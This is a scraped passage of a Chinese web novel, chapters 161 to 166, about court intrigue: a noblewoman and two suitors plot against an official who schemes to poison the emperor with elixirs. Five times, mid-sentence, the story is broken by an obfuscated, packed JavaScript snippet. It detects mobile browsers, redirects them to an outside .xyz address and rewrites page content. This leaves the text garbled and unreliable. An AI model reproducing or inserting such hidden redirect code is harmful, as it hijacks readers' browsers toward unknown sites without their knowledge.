她冷冷地牵了牵嘴角,弧度里只有彻骨的寒意。 再没有看这混乱污浊的场面一眼,她转身,决绝地向外走去。 贺宁安静地跟在她的身后,罕见地未发一言。 紫苏连忙跟上,小脸气得通红,低声愤愤道:“小姐,她落到这个下场,全是她自己作……” 话音未落,紫苏的声音戛然而止。 宁阁的马车静静地停在安平伯府侧门外。 而马车旁不远处的阴影里,一道颀长挺拔的身影负手而立,不知已等候了多久。 秦休缓缓转过身,深邃的眼眸如同寒潭,静静地望向刚刚走出府门的姜清宁。 四目相对。 秦休的目光在她脸上停留了一瞬,仿佛看到了她眼底深处的疲惫与厌倦。 他看着她,声音低沉平稳,清晰地传入姜清宁耳中: “棋局之外,可还有方寸之地,容得下一盏热茶?” “当然,秦大人与世子一同来宁阁吧。” 姜清宁捏到袖中的密信,心中略微思忖几分,颔首答应道。 秦休眼底闪过希冀,但在听到后一句的时候,显然失望了下来。 贺宁听到自己也能去宁阁,顿时雀跃,站在姜清宁身边,维持未婚夫的体面。 “秦世子不必与我们未婚夫妻二人客气,往后若是想要喝一盏热茶,大可与我说一声,咱们一起来宁阁叙旧。” 姜清宁不欲多言,抬步走下台阶,朝着马车走去,身后传来一道低沉的呼唤声: “姜清宁……”荀臣跟了出来,在望到她身旁的两个男人时,顿时愣在原地。 “荀大人,若是无事,我们就要走了。” 姜清宁清冷的声音响起,转身冷漠地看着荀臣,眼底的不喜表达得分外明显。 荀臣抿唇,鼓足勇气开口道:“如今姜如意已死,白清漪不日就要被赶去乡下庄子,莫离整日要娘亲,安儿也尚在年幼,你若是……” “没有若是,我根本不想。”姜清宁毫不犹豫地打断,语气冷淡。 “不管是之前、还是现在,乃至未来,我都不想与你有半分瓜葛,光是你我的名字被人一起提出来,都会让我觉得有够恶心的。” 话音落下,姜清宁毫不犹豫的转身,贺宁顿时反应过来,比身边人快了一步,扶着姜清宁上了车。 他眼神阴冷地警告道:“荀大人,若是还想在刑部混下去,大可继续骚扰我的未婚妻,前提是荀大人不想名誉扫地,家破人亡的话。” 荀臣脸色难看,却只能眼睁睁地看着贺宁上车,他的眼神给到秦休,却在下一刻感受到被毒蛇缠绕的窒息感。 “你……” “秦休,你就这么喜欢姜清宁吗?她如今可是贺宁的未婚妻!” 马车内,姜清宁眉眼一颤,敛眸遮去眼底的情绪,宽袖中交叠的手却下意识地逐渐攥紧。 “聒噪。”马车外响起冷漠的二字,随后门帘被人掀开,秦休钻进来坐在姜清宁的右侧。 贺宁抱臂,好整以暇地看着眼前人,这个和他抢未婚妻的男人。 “秦世子,未免太过于不仗义了吧?” 贺宁的眼神明摆着,就是一副‘我拿你当兄弟,你竟然想抢我夫人’的眼神。 “多谢夸奖。” 秦休淡漠道,就像丝毫不知道‘厚脸皮’三字怎么写的,正襟危坐,接下了这份‘赞誉’。 紫苏站在马车外面,看着荀臣难看不已的脸色,矜傲道:“安平伯,请让一让,我家小姐和两位世子殿下要回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091192|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家了。” 荀臣面无表情地看了眼紫苏,恍若没了灵魂的男人,奈何紫苏丝毫不惧,冷哼一声将他撞开,高呵道:“回宁阁!” 马车缓缓向前方行驶,饶是姜清宁这般心性淡薄的人,都感觉到了一丝若有似无的尴尬。 “对了,方才姜如意死前,交给我一沓密信,说是荀臣最大的秘密。” 姜清宁开口,从袖中掏出厚厚的一沓信封。 左右两边的男人,分别将目光挪到姜清宁的手上,而后默契地伸出手要接过。 姜清宁眉头跳了跳,闭了闭眼,亲手打开一人给了几封,自己留了几封拆开查看。 不过片刻之后,姜清宁的唇角勾起一抹笑意。 下意识地和秦休对视一眼,两人虽然惊讶,但之前的合作经验,让他们很快就了然起来。 贺宁倒抽一口冷气:“这荀臣还当真是不知悔改,一次不行,现如今竟还想要新帝的从龙之功。” “只可惜,他从的这条究竟是龙,还是烂地里的泥鳅,都犹未可知。” “你需要我做什么?”秦休问她。 “秦世子当真是好人,我这个未婚夫都没发话呢,你倒是主动想要帮助我的未婚妻。”贺宁酸溜溜地开口。 “贺世子英明神武,断不会和这些小事计较的吧?”秦休抬眼,和他对视。 “你倒是把我捧得挺高。”贺宁阴阳怪气,眼刀子直射出去。 “多谢夸奖。”秦休勾唇。 姜清宁抬手,让两人的注意都回到自己身上,无视秦休肉眼可见的失落,对贺宁道:“陛下那里,还需要你多上奏,请旨加快婚期,至于理由……你随意发挥,但必须尽快让我父兄回京。” “你确定要这么做了?”贺宁挑眉,和她打哑谜。 “不,我想到了更加绝妙的主意。”姜清宁含笑,眼中满是志在必得。 “那我呢?”秦休问她。 姜清宁看了他一眼:“今日宁阁一别,在朝堂上大力打压贺宁,京城的**有我,但如何让陛下不要怀疑,就要看二位的演技了。” 第162章计划 秦休俊朗的面容浮现出笑意:“定不辱使命。” 姜清宁点头,随即眉头紧蹙:“卫斋和傅伯谦那里,可有了消息?” “不出我们所料,他们果然去了云泽水寨,并且已经在寨主面前亲自验证身份,如今被云泽水寨奉为座上宾。” “不怕敌人多,就怕敌人蠢。” “恐怕卫斋和傅伯谦,事到如今还以为,凭借着一堆水匪,就能在这乱世之中翻手风云。” “这风云如何搅弄,也要看我们同不同意。” 两人对视一眼,眼底含笑隐秘的笑意。 “二位,你们在打什么哑谜?”贺宁张了张嘴,半晌终于成功的插上话了。 “前朝遗孤的事情,听说过了吗?” 姜清宁看向他,开口问道:“还有北狄长公主,这三人原先都是在我府上生活,隐姓埋名,暗中联系各自的旧部。” “若非察觉不对,派人一直跟随,恐怕这三人任何一人成功,姜家都不复存在了。” “我听说过这三人的名号,前不久将你的事情都打听了一番,但此刻你亲口说出来,我才完全相信。” 贺宁语气诚恳:“既然北狄长公主已死,北狄这些年养兵蓄锐,恐怕消息传回北狄,他们会以此为借口起兵攻打我大乾。” “你说的没错,但现如今,有更好的筹码捏在手中,便不需要再如此劳心费力,兴师动众了。” 姜清宁思忖片刻:“荀臣如此迫切的想要改变现状,但清楚自己被姜如意捏着把柄,即便是她已经**,但荀臣依旧会夜不能寐。” “恐怕等姜如意的葬礼结束,他最先清算的就是姜家二房和三房,到时候谁都不要出手相助,否则就是诚心给我姜清宁找气受。” “你放心,虽为同性,但非同族谱。”贺宁当即点头,“我绝对不会乱来的。” 秦休淡淡的看他一眼,对姜清宁道:“我的态度依旧和从前一样,只要你不喜欢的,我都不会去做。” 贺宁极其不雅观的翻了个白眼,心想恐怕他们三人的长辈们,若是知道他们正在干什么大逆不道的事情,恐怕都会冲过来将他们的耳朵拧掉。 与此同时。 秦国公府。 秦国公和秦国公夫人花前月下,却是忽然背后一凉,齐齐打了个寒颤。 岭南。 悲春伤秋思念女儿/妹妹的三人,坐在桌前看着一大桌子的饭菜,以及身旁女儿/妹妹送的成箱补品,心底却没忍住浮现出不好的预感。 北疆。 镇北王策马回府,和镇北王妃刚一见面,两人对视一眼,镇北王接过贺宁快马加鞭让人送来的赐婚圣旨,将信件一览无余的看完,夫妻二人眼底浮现出担忧的情绪。 “大小姐,秦世子,贺世子,宁阁到了。”紫苏的声音从外面传来,将三人的思绪吸引回来。 贺宁和秦休抱臂对视,分别想让对方先下去,秦休对贺宁的眼神示意无感,侧眸看向一旁的马车帘子。 真的是够了。 姜清宁闭眸握拳,起身毫不犹豫的朝着外面走去,身后的两人顿时站起身,挣着要先出来。 紫苏一言难尽的望着晃动不已的马车,艰难的开口:“大小姐,秦世子和贺世子这是?” “他们两情相悦。”姜清宁淡漠道,提着裙摆走上台阶,“紫苏,关门,谁也不见。” “哎!奴婢这就来了!”紫苏回神,连忙跟上姜清宁的身影。 她跳进高高的门槛内,对两个门房疯狂挥手,示意赶快把大门关上。 秦休和贺宁听到姜清宁冷情的声音,顿时急的要出来,内心分别有各自的小九九。 “让开!姜清宁是我的未婚妻!圣旨赐下的!” “圣旨呢?没看到。” “秦休!你这个老油条!” “贺世子若是没什么大事,就先回府吧。” 秦休暗中用力,将年少轻狂的贺宁逼退,掀开门帘两步跳下马车,抬头的瞬间宁阁的府门随之关闭。 “两位殿下,我们大小姐疲累了,今日谢绝见客!” 门房的声音从里面传来。 秦休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091193|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握了握拳,眼神阴冷的看着跳下马车的贺宁。 贺宁觉得好笑:“秦世子这是图什么呢?倒不如一开始就让我这个名正言顺的未婚夫先下马车,也省的连宁阁的府门都进不去了。” 秦休没给贺宁一个眼神,转身朝着隔壁的秦国公府走去,只留下一句冷漠无情的话:“贺世子倒是她的未婚夫,也没见被人特别待遇给请进去,看来这分量也不过如此。” 贺宁被气笑了:“不出三月,就是我和她的大婚,届时一定请秦世子,好好地喝上几壶喜酒沾沾喜气!” “来人,备马,回镇北王府,本世子要收拾一番进宫,亲自去内务府监督大婚仪式!” 贺宁猖狂的开口,丝毫不把自己合作伙伴的身份当真。 秦休冷笑一声,快步走到秦国公府的大门,抬步走进去,冷声让人把大门关上。 青之在他的身后气愤不已:“贺世子实在是太过分了,您好不容易能和姜大小姐接触一会儿,就这样被他给毁了,奴才看贺世子就是成心与您作对的!” 谁说不是呢。 哪家好友会一回京,就强抢他人的心悦之人,饶是青之,都觉得这件事实在是不靠谱极了。 “青之,慎言,有些话你心里清楚便行了,但不要闹得人尽皆知。” “是,青之知错了。”青之委屈的开口。 身后传来一阵脚步声,管家朝着两人的方向快步走来。 秦休站在原地,看着管家,眼神带着询问。 管家恭敬地上前,行礼道: “世子殿下,夫人让您回来之后,去一趟正院,夫人有话要问您。” “知道了,我这就去。”秦休颔首。 秦休穿过府邸中曲折蜿蜒的长廊,心中五味杂陈。 阳光透过雕花窗棂,斑驳地洒在他的衣襟上,为他本就冷峻的面容平添了几分柔和,却也掩不住眼底不易察觉的忧虑。 步入正厅,一股淡淡的熏香袅袅升起。 秦休停下脚步,整理了一下衣襟,深吸一口气,抬手推开正院的门。 第163章长生 秦国公夫人端坐于紫檀圈椅上,保养得宜的脸上带着难以掩饰的忧色。 她看着面前沉默如山的儿子秦休,他依旧是那副挺拔冷峻的模样。 玄色锦袍衬得他眉目愈发深邃,只是那紧抿的薄唇和垂于身侧,指节用力隐隐泛白的手,无声地泄露他内心远非表面那般平静。 “承元……” 秦国公夫人叹了口气,声音带着心疼与无奈,“宁阁那边母亲都听说了,这半月你又去了三次。” 秦休的喉结几不可察地滚动一下,目光落在面前地摊上的纹路上,没有开口回答。 “母亲知道你心里苦。” 秦国公夫人的声音放得更柔,“那孩子,母亲也是真心喜欢过的,沉稳,聪慧,骨子里有股韧劲儿。” “当初母亲请大师合过你们的八字,大师说是天作之合,鸾凤和鸣的命格,母亲也以为她会是你的良配,是我们秦家的福气。” 她顿了顿,眼中满是惋惜,“可如今她已经接了镇北王府的赐婚圣旨,贺宁对她是势在必得,承元,人这一生,有些缘分,错过了就是错过了,你等不起,我们秦家也等不起一个心不在你身上、即将嫁作他人妇的女子。” 秦休缓缓抬起眼,看向母亲,那双深不见底的眸子里,翻涌着秦国公夫人看不懂的情绪,有一种近乎偏执的沉郁。 “母亲,我明白。” 最终,他只吐出这三个字,再无多言。 秦国公夫人看着他紧握的拳头,终究是长长地叹了口气。 母子二人相对无言。 直到夜半更深,秦国公风尘仆仆地从宫中回府。 他并未去后院,而是径直来到秦休的书房,沉声道:“承元,随为父来。” 幽静的亭下。 秦烈屏退左右,烛光下,他威严的面容带着一丝不易察觉的疲惫,更有一份凝重。 “今日在宫中当值,听到些风声。” 秦烈声音压得极低,“陛下近日常召太医院院判密谈,时间一次比一次长,虽不知具体内容,但陛下近日气色亢奋异常,眼神却时有恍惚。” “为父观陛下言行,似乎对长生之术兴趣日浓。” 秦休眼神骤然一凝。 长生? 皇帝陆禀正值壮年,为何突然痴迷此道? 联想到父亲所说的气色亢奋却眼神恍惚,一个不祥的念头瞬间闪过。 恐怕是龙体有恙,且非寻常小疾。 秦烈看着儿子瞬间锐利的眼神,微微颔首,点到即止:“为君者,一念之差,可动国本,你身处要职掌刑狱重权,更需时刻警醒洞察先机,莫要被眼前儿女情长蒙蔽了双眼。” 这最后一句,意有所指。 “儿子知道了。” 秦休沉声应道,脸上只剩下冰冷的清明与锐利。 他明白了父亲的暗示。 回到自己院中的书房,烛火通明。 秦休静立窗前,望着沉沉的夜色,如同蛰伏的猛兽。 皇帝的身体状况,如同一颗投入死水潭的石子,在他心中激起了巨大的涟漪。 这未必不是转机。 一个能让他重新掌握主动,甚至为姜清宁铺路的转机。 “青之,青冥。”他沉声唤道。 两道黑影如同鬼魅般悄无声息地出现在他身后。 “传令下去,” 秦休的声音冰冷而决断,带着不容置疑的杀伐之气,“动用所有暗线,不惜一切代价,在三日之内,给我找到真正懂得炼丹之道的能人异士!记住,要真才实学,更要忠心可用!” 三日后,早朝。 当秦休出列,恭敬地献上两名身着道袍、仙风鹤骨的老者,并言明此二人乃精研上古丹方、有驻颜延寿之能的云游真仙时,整个金銮殿都陷入了一种诡异的寂静。 贺宁站在武将队列前端,看着秦休那平静无波的侧脸,心头警铃大作。 秦休这几日声势浩大的,竟是在暗中搜寻此物,他这是要投皇帝所好啊。 陆禀原本略显疲惫的眼中瞬间爆发出灼热的光芒,如同久旱逢甘霖。 “秦爱卿,此话当真?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091194|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的声音带着一丝不易察觉的急切。 “臣不敢妄言,陛下可一试便知。”秦休垂首,姿态恭谨。 当晚,陆禀便在数十位太监的试毒下,服下其中一名道士当场开炉炼制的第一枚九转还丹。 丹药入腹,一股奇异的暖流瞬间涌遍四肢百骸,连日来的疲惫感一扫而空,取而代之的是一种前所未有的精力充沛、神清气爽之感。 次日清晨,陆禀揽镜自照,竟觉得自己眼角的皱纹都似淡了几分,仿佛年轻了十岁不止。 “神丹!果然是神丹!”陆禀狂喜,龙颜大悦。 早朝之上,陆禀欣喜不已,上朝的脚步都轻快不少。 他看着眼前的两个道士,以及一旁恭敬垂首而立的秦休,眼中的满意更甚,不愧是他宠爱的秦贵妃的胞弟,他膝下四皇子的亲舅舅。 一旁的王德顺受到眼神示意,顿时双手捧着圣旨,站到一旁高声朗读圣旨: “陛下有旨!加封两名道士为护国**,赐紫金道袍,敕令在皇宫内苑专门开辟丹房,供其居住炼丹! 首功之臣正三品大理寺卿秦休,恩宠备至,朕宠信有加,今更是献上**,令朕龙颜大悦,擢升为正二品刑部尚书,加封太子少傅!” 王德顺念完圣旨,朝野震动。 沉寂月余的秦休一朝献丹,便重获圣眷,权势更胜从前。 不仅压过了之前风头正劲的贺宁,更是将太子少傅这等清贵显职揽入怀中,朝堂上的众人对视一眼,心中逐渐有了计较。 后宫。 “……特赐贵妃秦氏执掌后宫之权,着四皇子陆雍搬去养心殿于朕膝下教养,钦哉!” 前朝后宫届时如此,一时间,秦休府邸门前车水马龙,恭贺之人络绎不绝。 世人的目光瞬间聚焦在这场无声的较量上。 而贺宁岂能坐视秦休独占鳌头? 他立刻调动镇北王府在北疆的势力,甚至不惜动用按察司的暗线,更加疯狂地搜罗所谓的丹道高人。 短短数日,又有数名仙师被贺宁送入宫中。 第164章四皇子 皇帝来者不拒,照单全收。 每日服用不同仙师炼制的仙丹,只觉精神愈发亢奋,处理政务仿佛有使不完的精力,对秦休与贺宁的进献更是龙心大悦,赏赐不断。 两人在朝堂上看似针锋相对,争相献媚,实则在皇帝眼中,已成了他追求长生的两柄得力药铲。 在一次贺宁又献上延寿紫金丹后,陆禀心情大好,随口问道:“贺爱卿献丹有功,可有所求?” 贺宁立刻抓住机会,再次躬身恳求:“臣蒙陛下厚爱,不敢贪求,唯愿陛下体恤臣之私心,恩准岭南姜巍父子回京述职。” “臣与姜氏清宁婚期将近,若能得父兄见证,实乃臣与清宁毕生之幸,亦显陛下仁德泽被四海。” 陆禀脸上的笑容淡了几分,手指在龙椅扶手上轻轻敲击。 又是姜家父子……他目光扫过下方垂手肃立,面无表情的秦休。 秦休自献丹升官后,对姜家之事似乎彻底漠然,再无只言片语。 看来贺宁此举并未得到秦休的默许,两人之间的裂痕确实深了。 想到姜家父子在岭南八年,兵权早已被自己肢解消化,京城势力更是荡然无存,回来也不过是两只无牙的老虎。 加之贺宁如今献丹有功,一味拒绝,恐寒了忠臣”之心。 陆禀沉吟片刻,虽未立刻应允,但语气已松动许多:“贺卿孝心可嘉,此事容朕再思量一二。” 他话锋一转,带着安抚,“不过爱卿献丹有功,朕赐你南海明珠十斛,蜀锦百匹,另加黄金千两,以资嘉奖!” “臣,叩谢陛下隆恩!”贺宁朗声道谢,心中却是一片冰冷。 皇帝依旧在拖延,但他知道,种子已经再次种下,离发芽不远了。 下朝后,贺宁径直前往宁阁。 “陛下虽未应允,但态度已松动。” “看来这仙丹的效力,果然能迷住圣心。” 贺宁将朝堂之事告知姜清宁,眼中带着一丝讽刺。 姜清宁坐在窗边,指尖摩挲着一枚温润的黑玉棋子,闻言神色平静无波:“意料之中,狗总要喂饱了,才肯听使唤。” “不过我们的时间不多了,皇帝的身体靠这些虎狼之药支撑,外强中干,随时可能崩塌,必须在他彻底沉迷追求长生,朝纲彻底混乱之前,拿到最致命的东西。” 她抬起眼,眸光锐利如刀:“紫苏,暗一那边进展如何?” 侍立一旁的紫苏立刻上前一步,低声道:“回小姐,暗一回来了,有重大发现。” 话音未落,一道黑影悄无声息地出现在厅中,正是姜清宁秘密培养了三年、精于追踪刺探的暗卫首领暗一。 他单膝跪地,双手呈上一个密封的铜管:“主子,幸不辱命,查清了荀臣与江南云泽水寨卫斋之间的全部勾连,除了之前截获的书信,还有更直接的证据!” 姜清宁接过铜管,取出里面一卷薄如蝉翼的密笺,和几份按着手印的供状。 她迅速浏览,冰冷的脸上渐渐凝起一层寒霜。 密笺上详细记录荀臣如何通过傅伯谦,搭上了盘踞在云泽水寨的卫斋。 荀臣以手中掌握的京城防卫漏洞为筹码,承诺在卫斋起事时提供内应,换取日后的从龙之功和显赫地位。 而那几份供状,则来自被暗一秘密抓捕的傅伯谦的心腹,以及荀臣府中一个负责秘密传递消息的管事。 供词相互印证,详细描述荀臣看到秦休和贺宁,因进献道士而获得丰厚封赏后眼红心热。 他竟与卫斋密谋,由卫斋方面提供精通特殊丹方的道士,再由荀臣以个人名义进献给皇帝。 他们所图,便是让皇帝在仙丹的幻觉中慢性**,加速其死亡。 而密谋中提及的特殊成分,赫然便是剧毒的朱砂和极易令人成瘾,最终摧毁神智的五石散! “好一个荀臣,好一个卫斋,弑君篡位,狼子野心!”贺宁看完,眼中杀机毕露。 姜清宁合上密笺,指尖冰凉,眼中却是一片燃烧的冰焰。 她看向暗一,声音冷冽如刀:“做得很好,立刻安排我们的人,在荀臣找到道士之前将其调换,要确保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097111|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送进宫的道士是我们的人,丹药也要‘安全’。” “是!”暗一领命,身形一晃,再次融入阴影消失。 数日后,志得意满的荀臣,果然机缘巧合地寻到一位隐居山林、丹术通玄的长春子道长,并迫不及待地将其进献给正沉迷丹药,来者不拒的皇帝陆禀。 陆禀服下长春子炼制的丹药,只觉飘飘欲仙,精神百倍,仿佛回到了三十岁鼎盛之年。 狂喜之下,龙颜大悦,当即将荀臣从正四品的佥都御史,一举提拔为正三品的副都御使。 荀臣一时风头无两,俨然成了继秦休、贺宁之后,皇帝面前最新的红人。 皇宫内苑的丹房日夜炉火不熄,紫烟袅袅。 陆禀沉浸在仙丹带来的幻觉中,对朝政越发懈怠,奏章堆积如山,只对源源不断送来的仙丹兴致勃勃。 御花园中。 秦休一身绯色官服,与一位到他肩膀高的少年并肩前行。 “殿下,近日来陛下的身体如何?”秦休低声询问。 “舅舅放心,父皇身体无恙,近日来更是更甚百倍,比之雍儿年幼之时更加的强健有力。” 陆雍十三岁的年纪,已经从废太子陆乘那里,懂得了如何藏拙做一个崇拜父皇,乖巧懂事的好儿子。 “舅舅放心,您和母后的话雍儿从始至终都记在心上,一刻都不会忘记。” 陆雍一身明黄色的服饰,眉眼间威严已经显现,让人看之心神一震。 秦休颔首:“殿下是臣与贵妃娘娘最忌挂之人,只有四皇子安好,贵妃娘娘与臣乃至整个秦国公府才能安心,若殿下有任何不懂的地方,少言多听,回去问娘娘,或是微臣皆可。” 陆雍拱手道:“舅舅即是雍儿的舅舅,更是父皇任命给雍儿的老师,尊师爱长,此乃人之本性,雍儿断不敢忘。” “嗯,回去温书吧,晚些微臣还要考教殿下。” “是,学生告退。”陆雍恭敬的拱手,转身离开。 青冥上前:“大人?” 秦休抬手:“慎言。” 第165章阴郁男 转眼间,月底,万寿节。 皇宫内外张灯结彩,笙歌鼎沸。 金銮殿上,百官朝贺,高呼陛下万岁。 陆禀高**,身着明黄龙袍,容光焕发,精神矍铄,全然看不出已是知天命之年,倒真像是返老的还童一般。 他志得意满地接受着群臣的阿谀奉承,目光扫过阶下恭敬献礼的秦休、贺宁、荀臣等人,只觉自己掌控乾坤,长生可期。 姜清宁作为贺宁的未婚妻,镇北王府未来的世子妃,随贺宁一同入宫贺寿。 她一身符合身份的华贵宫装,妆容精致,却掩不住眼底深处的冰冷。 姜清宁看着龙椅上那个红光满面,眼神却隐隐透着一丝虚浮亢奋的帝王,心中冷笑更甚。 这年轻三十岁的表象之下,是丹毒正在悄然侵蚀的腐朽内囊。 “清宁。”一个带着歉意的声音在身旁轻轻响起。 姜清宁侧目,是山阳郡主李幼薇。 她今日打扮得明艳照人,看向姜清宁的眼神却带着真诚的愧色。 贺宁安慰身边人道:“我听说你们是好友,去吧,郡主找你定是有话要说的。” 姜清宁点头:“我先出去一会儿。” 话音落下,她和李幼薇并肩走到殿外,行至一处寂静的假山附近。 “前些日子是我偏激了。”李幼薇低声说道,声音诚恳,“回去后我仔细想了很久。” “你……真的很不容易,这些年独自扛着那么多事,被京城那些人那样无端地非议指责,却依旧能走到今天……我为我之前那些冲动的话向你道歉。” 姜清宁看着李幼薇清澈坦荡的眼睛,沉默了片刻。 她见过太多虚伪的面孔,李幼薇的这份歉意,是少有的真诚。 她微微颔首,声音平和:“郡主言重了,过去的事不必再提。” 李幼薇见她没有拒人千里,眼中露出释然和欣喜,主动挽起她的手臂:“那我们……还是朋友?” “嗯。” 姜清宁轻轻应了一声。 在这步步惊心的宫闱之中,一个真诚的盟友,总好过一个潜在的敌人。 两人相携走到一处相对僻静的廊下叙话。 李幼薇不再提秦休,只聊些京中趣闻和岭南风物,姜清宁也难得地放松了些许紧绷的心弦。 “我听说你阿兄当年是赫赫战功的武将,少年英姿,恐怕比之秦休还要更加英武不凡。” “郡主喜欢武将?” “谁不喜欢保家卫国的大英雄,我从小就立志嫁给一个大英雄,但不瞒你说,我怕母妃打断我的腿,所以一直没敢说过。” 李幼薇调皮的吐了吐舌头,眼中闪过狡黠。 姜清宁哑然失笑:“其实……我阿兄更像是一个文臣,他光风霁月,穿着一袭白袍,往那一站,就像是画卷上的人。” 李幼薇眼前一亮:“那你阿兄回来了,你可千万要下帖让我去玩,我还没见过如此好看的男子呢。” 姜清宁想到将来,不仅带上一抹温柔的笑。 “好啊,等我阿兄回来,我定要日日请你来玩,还要让阿兄请我们和小妹一起去百味斋吃点心!” 不远处,一座繁茂的紫藤花架阴影下,秦休与承延静静地伫立。 承延看着廊下言笑晏晏的姜清宁和李幼薇,又看看身边好友那深沉,却始终胶着在姜清宁身上的目光,忍不住低叹一声: “不甘心吧?” 秦休的视线没有半分移动,薄唇紧抿,过了许久,才从喉间溢出一声回应:“……嗯。” “那为何……”承延不解。 以秦休如今的权势地位,若真想强求,未必没有一丝机会。 秦休的声音低沉而坚定,“帮她完成心愿,比我的不甘心更重要。” 承延看着好友眼中那浓得化不开的情愫与隐忍,最终化作一声悠长的叹息,再也说不出劝慰的话。 两人沉默地伫立片刻,如同两尊融入夜色的雕像,最终在无人注意时悄然转身离去。 姜清宁与李幼薇聊了许久,正欲离开廊下去寻贺宁,一道带着刻意的声音突兀地插了进来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100895|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清宁。” 荀臣不知何时走了过来。 他一身崭新的绯色朝服,衬得他意气风发,脸上带着志得意满的笑容,目光灼灼地看向姜清宁,带着毫不掩饰的占有欲和炫耀。 副都御使的官职让他自觉跨越了巨大的阶层鸿沟,终于有足够站在她面前的身份。 荀臣自认为现如今的他,与贺宁相比,都只差在了年纪上面,甚至贺宁只是一个毛头小子罢了。 而秦休在赐婚的那日,就已经彻彻底底地输给了贺宁,没有了与他一战的资格。 “万寿节宫宴,真是热闹非凡,我为官多年,但常年在外治水,反倒是第一次入宫参加万寿街。” “多日不见,清宁可看到我的变化?” 荀臣刻意走近一步,试图靠近,“许久不见,清宁风采更胜往昔,不知可否借一步说话?” 他目光扫过李幼薇,带着一丝暗示。 姜清宁的脚步顿住。 她缓缓转过身,目光落在荀臣那张写满得意的脸上。 眼神毫无波澜,如同在看路旁一块碍眼的石头,带着居高临下的忽视。 她甚至连一个字都吝啬给予,只是淡淡地收回目光,仿佛眼前之人只是一团无形的空气,对着身旁的李幼薇微微颔首示意:“郡主,我们走吧。” 说完,她挽着李幼薇,径直从荀臣面前走过,衣袂飘拂,带起一丝微凉的风,连眼角的余光都未曾在他身上停留片刻。 荀臣脸上的笑容瞬间僵住,随即变得极其难看,如同被人当众狠狠扇了一记耳光。 他升了官,成了天子新宠,满以为能让她另眼相看,却换来比从前更加彻底的漠视。 这种被踩在脚下的感觉,比任何辱骂都更让他怒火中烧,却也更让他心底那股得不到的渴望疯狂滋长。 他死死盯着姜清宁和李幼薇离去的背影,眼中翻涌着执念。 “姜清宁,你绝对会后悔今日的。”荀臣恨恨咬牙。 刚要拂袖离开,一个端庄雍容的身影,悄然出现在荀臣的面前,挡住了去路。 第166章要回京 来人身着繁复庄重的宫装,发髻高挽,插着象征身份的九尾凤钗,面容保养得宜,依稀可见年轻时的绝代风华。 只是那双凤眸深处,沉淀着经年累月的幽怨与不甘。 长公主陆彤,前废太子陆宸一母同胞的亲妹妹。 “荀大人。” 长公主的声音矜持疏离,目光落在荀臣脸上,“今日宫宴,大人风采卓然,深得皇兄器重,真是可喜可贺。” 她口中说着恭贺,语气却平淡得没有一丝波澜。 荀臣心头猛地一跳,连忙躬身行礼:“微臣荀臣参见长公主殿下,殿下谬赞,臣愧不敢当,全赖陛下隆恩浩荡。” 他态度恭谨,心中却瞬间警铃大作。 这位长公主,身份尊贵却处境微妙。 当年废太子被诛,其党羽被清洗殆尽,唯有这位胞妹因是女流,加之其驸马早逝无子,才得以保留长公主封号居于京城,实则形同软禁。 她深居简出,极少参与宫宴,今日突然主动找他搭话…… “皇兄隆恩,自是福泽深厚。” 陆彤勾唇,目光状似无意地扫过远处,宫殿之内被众星捧月般围着的陆禀,眼神深处是刻骨的冰冷与恨意,快得让人难以捕捉。 她话锋一转,声音压低了几分,带着一丝若有若无的试探: 